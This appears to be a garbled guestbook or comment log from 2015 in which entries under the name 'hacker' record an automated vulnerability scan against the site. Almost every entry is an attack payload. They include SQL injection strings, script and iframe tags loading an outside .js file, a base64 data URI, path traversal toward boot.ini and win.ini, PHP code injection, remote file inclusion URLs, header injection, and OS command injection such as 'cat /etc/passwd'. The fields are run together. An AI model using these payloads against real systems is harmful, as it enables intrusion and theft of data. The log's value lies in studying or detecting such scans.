hacker2015-2-14 20:54:08182.118.33.888888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa
hacker2015-2-14 20:54:09182.118.33.888888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014
hacker2015-2-14 20:54:17182.118.33.888888" mouseoverpropromptmpt(42873) bad" 
88888
hacker2015-2-14 20:54:25182.118.33.888888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2015-2-14 20:54:25182.118.33.888888iframe srchttp://xxooxxoo.js 
88888
hacker2015-2-14 20:54:25182.118.33.888888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106)
hacker2015-2-14 20:54:41182.118.33.888888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2015-2-14 20:54:42182.118.33.888888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2015-2-14 20:54:42182.118.33.888888 
88888
hacker2015-2-14 20:54:45182.118.33.88888827 
88888
hacker2015-2-14 20:54:50182.118.33.888888 
88888
hacker2015-2-14 20:54:52182.118.33.888888 
88888
hacker2015-2-14 20:54:55182.118.33.888888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2015-2-14 20:54:55182.118.33.888888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2015-2-14 20:55:03182.118.33.888888 
88888
hacker2015-2-14 20:55:07182.118.33.888888\ 
88888
hacker2015-2-14 20:55:19182.118.33.888888\" 
88888
hacker2015-2-14 20:55:23182.118.33.888888JyI 
88888
hacker2015-2-14 20:55:24182.118.33.888888" 
88888
hacker2015-2-14 20:55:27182.118.33.888888? 
88888
hacker2015-2-14 20:55:28182.118.33.888888e360 
88888
hacker2015-2-14 20:55:29182.118.33.8888886633x3X6 
88888
hacker2015-2-14 20:55:30182.118.33.888888"\\"27? 
88888
hacker2015-2-14 20:55:31182.118.33.888888" 
88888
hacker2015-2-14 20:55:43182.118.33.888888 
88888script srchttp://xxooxxoo.js/script
hacker2015-2-14 20:56:16182.118.33.888888/ 
88888
hacker2015-2-14 20:56:21182.118.33.888888) 
88888
hacker2015-2-14 20:56:26182.118.33.888888!(() 
88888
hacker2015-2-14 20:56:26182.118.33.888888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2015-2-14 20:56:34182.118.33.888888alert(42873) 
88888
hacker2015-2-14 20:56:38182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:56:42182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:56:44182.118.33.8boot.ini 
88888
hacker2015-2-14 20:56:46182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:56:58182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:57:05182.118.33.8/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2015-2-14 20:57:08182.118.33.8C:\boot.ini 
88888
hacker2015-2-14 20:57:11182.118.33.8..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2015-2-14 20:57:14182.118.33.8../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2015-2-14 20:57:17182.118.33.8../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2015-2-14 20:57:37182.118.33.888888 
88888
hacker2015-2-14 20:57:38182.118.33.8../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2015-2-14 20:57:44182.118.33.8................boot.ini 
88888
hacker2015-2-14 20:57:45182.118.33.888888 
88888" mouseoverpropromptmpt(42873) bad"
hacker2015-2-14 20:57:49182.118.33.8..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2015-2-14 20:57:51182.118.33.888888 
88888iframe srchttp://xxooxxoo.js
hacker2015-2-14 20:57:55182.118.33.8|..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2015-2-14 20:57:57182.118.33.888888 
88888
hacker2015-2-14 20:58:03182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:58:04182.118.33.888888 
88888
hacker2015-2-14 20:58:04182.118.33.888888 
8888827
hacker2015-2-14 20:58:05182.118.33.888888 
88888
hacker2015-2-14 20:58:06182.118.33.888888 
88888
hacker2015-2-14 20:58:07182.118.33.888888 
88888
hacker2015-2-14 20:58:08182.118.33.888888 
88888
hacker2015-2-14 20:58:09182.118.33.888888 
88888
hacker2015-2-14 20:58:09182.118.33.8../../../../../../../../boot.ini 
88888
hacker2015-2-14 20:58:09182.118.33.888888 
88888
hacker2015-2-14 20:58:12182.118.33.888888 
88888
hacker2015-2-14 20:58:13182.118.33.888888 
88888
hacker2015-2-14 20:58:14182.118.33.888888 
88888
hacker2015-2-14 20:58:15182.118.33.888888 
88888
hacker2015-2-14 20:58:15182.118.33.8file:///c:/boot.ini 
88888
hacker2015-2-14 20:58:15182.118.33.888888 
88888
hacker2015-2-14 20:58:16182.118.33.888888 
88888
hacker2015-2-14 20:58:17182.118.33.888888 
88888
hacker2015-2-14 20:58:17182.118.33.888888 
88888
hacker2015-2-14 20:58:18182.118.33.888888 
88888
hacker2015-2-14 20:58:19182.118.33.888888 
88888
hacker2015-2-14 20:58:19182.118.33.888888 
88888
hacker2015-2-14 20:58:20182.118.33.888888 
88888
hacker2015-2-14 20:58:21182.118.33.8................windowswin.ini 
88888
hacker2015-2-14 20:58:21182.118.33.888888 
88888
hacker2015-2-14 20:59:05182.118.33.888888 
88888
hacker272015-2-14 20:59:06182.118.33.888888 
88888
hacker2015-2-14 20:59:07182.118.33.888888 
88888
hacker\2015-2-14 20:59:08182.118.33.888888 
88888
hacker\"2015-2-14 20:59:09182.118.33.888888 
88888
hackerJyI2015-2-14 20:59:10182.118.33.888888 
88888
hacker2015-2-14 20:59:11182.118.33.888888 
88888
hacker2015-2-14 20:59:11182.118.33.888888 
88888
hacker2015-2-14 20:59:13182.118.33.888888 
88888\
hacker"2015-2-14 20:59:14182.118.33.888888 
88888
hacker2015-2-14 20:59:16182.118.33.888888 
88888\"
hacker?2015-2-14 20:59:17182.118.33.888888 
88888
hacker2015-2-14 20:59:19182.118.33.888888 
88888JyI
hacker2015-2-14 20:59:22182.118.33.888888 
88888"
hacker2015-2-14 20:59:25182.118.33.888888 
88888?
hacker2015-2-14 20:59:28182.118.33.888888 
88888e360
hacker2015-2-14 20:59:31182.118.33.888888 
888886633x3X6
hacker2015-2-14 20:59:35182.118.33.888888 
88888"\\"27?
hacker2015-2-14 20:59:42182.118.33.888888 
88888"
hacker2015-2-14 20:59:44182.118.33.888888 
88888/
hacker"2015-2-14 20:59:45182.118.33.888888 
88888
hacker2015-2-14 20:59:47182.118.33.888888 
88888)
hacker/2015-2-14 20:59:48182.118.33.888888 
88888
hacker2015-2-14 20:59:50182.118.33.888888 
88888!(()
hacker)2015-2-14 20:59:51182.118.33.888888 
88888
hacker2015-2-14 20:59:53182.118.33.888888 
88888alert(42873)
hacker!(()2015-2-14 20:59:54182.118.33.888888 
88888
hacker2015-2-14 20:59:56182.118.33.888888 
../../../../../../../../boot.ini
hackeralert(42873)2015-2-14 20:59:58182.118.33.888888 
88888
hacker2015-2-14 20:59:59182.118.33.888888 
../../../../../../../../boot.ini
hacker2015-2-14 21:00:03182.118.33.888888 
boot.ini
hacker2015-2-14 21:00:30182.118.33.8http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
/some_inexistent_file_with_lg_name2015-2-14 21:00:36182.118.33.888888 
88888
hacker2015-2-14 21:00:46182.118.33.888888 
../../../../../../../../boot.ini
dir2015-2-14 21:00:46182.118.33.888888 
88888
hacker2015-2-14 21:00:47182.118.33.8/some_inexistent_file_with_lg_name 
88888
hacker2015-2-14 21:00:49182.118.33.888888 
../../../../../../../../boot.ini
dir2015-2-14 21:00:50182.118.33.888888 
88888
hacker2015-2-14 21:00:54182.118.33.8 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2015-2-14 21:00:57182.118.33.888888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2015-2-14 21:01:01182.118.33.8 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2015-2-14 21:01:05182.118.33.888888 
C:\boot.ini
hacker2015-2-14 21:01:10182.118.33.8 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2015-2-14 21:01:14182.118.33.888888 
..\..\..\..\..\..\..\..\boot.ini
hacker2015-2-14 21:01:19182.118.33.8dir 
88888
hacker2015-2-14 21:01:22182.118.33.888888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2015-2-14 21:01:28182.118.33.8dir 
88888
hacker2015-2-14 21:01:31182.118.33.888888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2015-2-14 21:01:37182.118.33.8http://oxoxoxoxoxoxox.com 
88888
hacker2015-2-14 21:01:40182.118.33.888888 
................boot.ini
hacker2015-2-14 21:01:46182.118.33.8oxoxoxoxoxoxox.com 
88888
hacker2015-2-14 21:01:50182.118.33.888888 
..\..\..\..\..\..\..\..\boot.ini
hacker2015-2-14 21:02:14182.118.33.888888 
|..\..\..\..\..\..\..\..\boot.ini
hacker2015-2-14 21:02:57182.118.33.8print(md5(1122))# 
88888
hacker2015-2-14 21:03:31182.118.33.888888 
../../../../../../../../boot.ini
hacker2015-2-14 21:03:34182.118.33.8)print(md5(1122))// 
88888
hacker2015-2-14 21:03:37182.118.33.888888 
../../../../../../../../boot.ini
hacker2015-2-14 21:03:41182.118.33.8${@print(md5(1122))} 
88888
hacker2015-2-14 21:03:45182.118.33.888888 
file:///c:/boot.ini
hacker2015-2-14 21:03:49182.118.33.8data:text/plain,?php print(md5(1122))? 
88888
hacker2015-2-14 21:03:53182.118.33.888888 
................windowswin.ini
hacker2015-2-14 21:03:57182.118.33.8phpinfo 
88888
hacker2015-2-14 21:04:04182.118.33.888888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2015-2-14 21:04:05182.118.33.8?exit(md5(1122))? 
88888
hacker2015-2-14 21:04:10182.118.33.888888 
/some_inexistent_file_with_lg_name
hacker2015-2-14 21:04:13182.118.33.8http://hitBAo6EKQnyr.bxss.me/ 
88888
hacker2015-2-14 21:04:18182.118.33.888888 
SomeCustomInjectedHeader:injected_by_test
hacker2015-2-14 21:04:21182.118.33.8http://hitd0rQGQge8t.bxss.me/ 
88888
hacker2015-2-14 21:04:26182.118.33.888888 
SomeCustomInjectedHeader:injected_by_test
hacker2015-2-14 21:04:28182.118.33.8http://testasp.vulnweb.com/t/fit.txt 
88888
hacker2015-2-14 21:04:35182.118.33.888888 
SomeCustomInjectedHeader:injected_by_test
hacker2015-2-14 21:04:54182.118.33.888888 
dir
hacker2015-2-14 21:05:01182.118.33.8set|set 
88888
hacker2015-2-14 21:05:04182.118.33.888888 
dir
hacker2015-2-14 21:05:11182.118.33.8cat /etc/passwd 
88888
hacker2015-2-14 21:05:12182.118.33.888888 
http://oxoxoxoxoxoxox.com
hacker2015-2-14 21:05:20182.118.33.8`ping -c 5 127.0.0.1` 
88888
hacker2015-2-14 21:05:21182.118.33.888888 
oxoxoxoxoxoxox.com
hacker2015-2-14 21:05:29182.118.33.8|ping -n 5 127.0.0.1| 
88888
hacker2015-2-14 21:05:38182.118.33.8|ping -c 4 127.0.0.1 
88888
hacker2015-2-14 21:05:39182.118.33.888888 
print(md5(1122))#
hacker2015-2-14 21:05:47182.118.33.8respse.write(9412458*9542755) 
88888
hacker2015-2-14 21:05:48182.118.33.888888 
)print(md5(1122))//
hacker2015-2-14 21:05:57182.118.33.888888 
${@print(md5(1122))}
hacker2015-2-14 21:06:05182.118.33.888888 
data:text/plain,?php print(md5(1122))?
hacker2015-2-14 21:06:14182.118.33.888888 
phpinfo
hacker2015-2-14 21:06:23182.118.33.888888 
?exit(md5(1122))?
hacker2015-2-14 21:06:31182.118.33.888888 
http://hitBAo6EKQnyr.bxss.me/
hacker2015-2-14 21:06:40182.118.33.888888 
http://hitd0rQGQge8t.bxss.me/
hacker2015-2-14 21:06:49182.118.33.888888 
http://testasp.vulnweb.com/t/fit.txt
hacker2015-2-14 21:06:58182.118.33.888888 
set|set
hacker2015-2-14 21:07:08182.118.33.888888 
cat /etc/passwd
hacker2015-2-14 21:07:18182.118.33.888888 
`ping -c 5 127.0.0.1`
hacker2015-2-14 21:07:27182.118.33.888888 
|ping -n 5 127.0.0.1|
hacker2015-2-14 21:07:35182.118.33.888888 
|ping -c 4 127.0.0.1
hacker2015-2-14 21:08:12182.118.33.888888 
respse.write(9412458*9542755)
hacker2015-3-17 20:53:29123.125.160.21688888 
88888
hacker2015-3-17 20:53:29123.125.160.21688888 
88888
hacker2015-3-17 20:53:41123.125.160.21688888 
88888
hacker2015-3-17 20:54:26123.125.160.21688888 
88888
hacker2015-3-17 20:54:27123.125.160.21688888 
88888
hacker2015-3-17 20:54:39123.125.160.21688888 
88888
hacker2015-3-17 20:55:38123.125.160.21688888 AND 8283 
88888
hacker2015-3-17 20:55:43123.125.160.21688888) AND 1184 AND (1111 
88888
hacker2015-3-17 20:55:49123.125.160.21688888 OR 1111 LIMIT 100 -- 
88888
hacker2015-3-17 20:56:03123.125.160.21688888,(SELECT (CASE WHEN (4846) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-3-17 20:56:03123.125.160.21688888,(SELECT (CASE WHEN (1111) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-3-17 20:56:14123.125.160.21688888,IIF(6555,88888,1/0) 
88888
hacker2015-3-17 20:56:15123.125.160.21688888,IIF(7777,88888,1/0) 
88888
hacker2015-3-17 20:56:21123.125.160.21688888 RLIKE (SELECT (CASE WHEN (5726) THEN 88888 ELSE 0x28 END)) 
88888
hacker2015-3-17 20:56:21123.125.160.21688888 RLIKE (SELECT (CASE WHEN (2424) THEN 88888 ELSE 0x28 END)) 
88888
hacker2015-3-17 20:56:25123.125.160.21688888) RLIKE (SELECT (CASE WHEN (1753) THEN 88888 ELSE 0x28 END)) AND (1717 
88888
hacker2015-3-17 20:56:25123.125.160.21688888) RLIKE (SELECT (CASE WHEN (2727) THEN 88888 ELSE 0x28 END)) AND (9595 
88888
hacker2015-3-17 20:56:29123.125.160.21688888) OR 9393 OR (9393) LIMIT 100 -- 
88888
hacker2015-3-17 20:56:30123.125.160.21688888) OR 1415 OR (1415 
88888
hacker2015-3-17 20:56:31123.125.160.216(SELECT (CASE WHEN (7175) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-3-17 20:56:32123.125.160.216(SELECT (CASE WHEN (1515) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2015-3-17 20:56:34123.125.160.216IIF(3871,88888,1/0) 
88888
hacker2015-3-17 20:56:35123.125.160.216IIF(5252,88888,1/0) 
88888
hacker2015-3-17 20:56:39123.125.160.21688888 AND kTsc 
88888
hacker2015-3-17 20:56:43123.125.160.21688888 AND 4811 AND  
88888
hacker2015-3-17 20:56:45123.125.160.21688888) AND 3641 AND (QmQm 
88888
hacker2015-3-17 20:56:49123.125.160.2168888827 AND 1424 # 
88888
hacker2015-3-17 20:56:51123.125.160.2168888827 AND 3939 # 
88888
hacker2015-3-17 20:56:52123.125.160.21688888) AND 2737 AND 1 like( 
88888
hacker2015-3-17 20:56:53123.125.160.21688888) AND 5454 AND 1 like( 
88888
hacker2015-3-17 20:56:54123.125.160.21688888 OR 5y5y LIMIT 100 -- 
88888
hacker2015-3-17 20:56:55123.125.160.21688888 IF(3418) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-3-17 20:56:59123.125.160.21688888 IF(1515) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-3-17 20:56:59123.125.160.21688888) IF(1791) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-3-17 20:57:03123.125.160.21688888) IF(1515) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2015-3-17 20:57:03123.125.160.21688888) RLIKE (SELECT (CASE WHEN (7911) THEN 88888 ELSE 0x28 END)) AND (7S7S 
88888
hacker2015-3-17 20:57:07123.125.160.21688888) RLIKE (SELECT (CASE WHEN (6666) THEN 88888 ELSE 0x28 END)) AND (MvMv 
88888
hacker2015-3-17 20:57:08123.125.160.21688888 RLIKE (SELECT (CASE WHEN (5291) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2015-3-17 20:57:10123.125.160.21688888 RLIKE (SELECT (CASE WHEN (2727) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2015-3-17 20:57:11123.125.160.21688888 RLIKE (SELECT (CASE WHEN (8239) THEN 88888 ELSE 0x28 END)) AND e3e3 
88888
hacker2015-3-17 20:57:13123.125.160.21688888 RLIKE (SELECT (CASE WHEN (3939) THEN 88888 ELSE 0x28 END)) AND q3q3 
88888